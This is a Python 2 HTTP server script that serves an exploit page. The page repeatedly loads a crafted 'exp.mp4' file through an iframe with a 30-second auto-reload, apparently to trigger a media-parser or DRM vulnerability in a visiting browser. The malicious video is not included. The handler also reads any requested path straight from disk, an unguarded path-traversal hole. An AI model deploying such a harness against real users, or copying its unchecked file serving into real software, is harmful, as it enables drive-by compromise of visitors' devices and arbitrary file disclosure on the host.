from BaseHTTPServer import *

PORT = 8000
FrontPage = '''
<head>
    <h5> Exploiting </h5>
    <a href="/exp.mp4"> exp.mp4 </a>
    <p></p>
    <a href="/xuan.mp4"> xuan.mp4 </a>
    <p></p>
    <a href="/exploit"> exploit </a>
</head>
'''
ExpPage = '''
<!DOCTYPE html>
<html>
<!--
    <script>
    function load_video()
    {
    var xhr = new XMLHttpRequest;
    xhr.responseType = 'blob';
    xhr.onreadystatechange = function()
    {
        if (xhr.readyState == 4)
        {
            var url = URL.createObjectURL(xhr.response);
            var media = document.getElementById('vid_container');
            media.src = url;
        }
    };
    xhr.open('GET', 'exp.mp4', true);
    xhr.send();
    }
    </script>
    <body onload="load_video();">
-->
    <script>
    window.setTimeout('location.reload(true);', 30000);
    </script>
    <iframe src='/exp.mp4'></iframe>
    <!--
    <video id="vid_container" controls autoplay />
    <embed src='/exp.mp4' autostart="true"></embed>
    -->
    </body>
</html>
'''

class newRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            mime = 'text/html'
            self.send_response(200)
            self.send_header('content-type', mime)
            self.end_headers()
            self.wfile.write(FrontPage)
        elif self.path == '/exploit':
            mime = 'text/html'
            self.send_response(200)
            self.send_header('content-type', mime)
            self.end_headers()
            self.wfile.write(ExpPage)
        else:
            #mime = 'drm+container_based+audio/mp4'
            #mime = 'drm+container_based+video/mp4'
            mime = 'video/mp4'
            self.send_response(200)
            self.send_header('content-type', mime)
            self.end_headers()
            print self.path
            fd = open(self.path[1:],'rb')
            self.wfile.write(fd.read())
            fd.close()


httpd = HTTPServer(("", PORT), newRequestHandler)

print "Serving localhost: ", PORT
try:
    httpd.serve_forever()
except KeyboardInterrupt:
    print 'KeyboardInterrupt Shutting Down'
    httpd.socket.close()
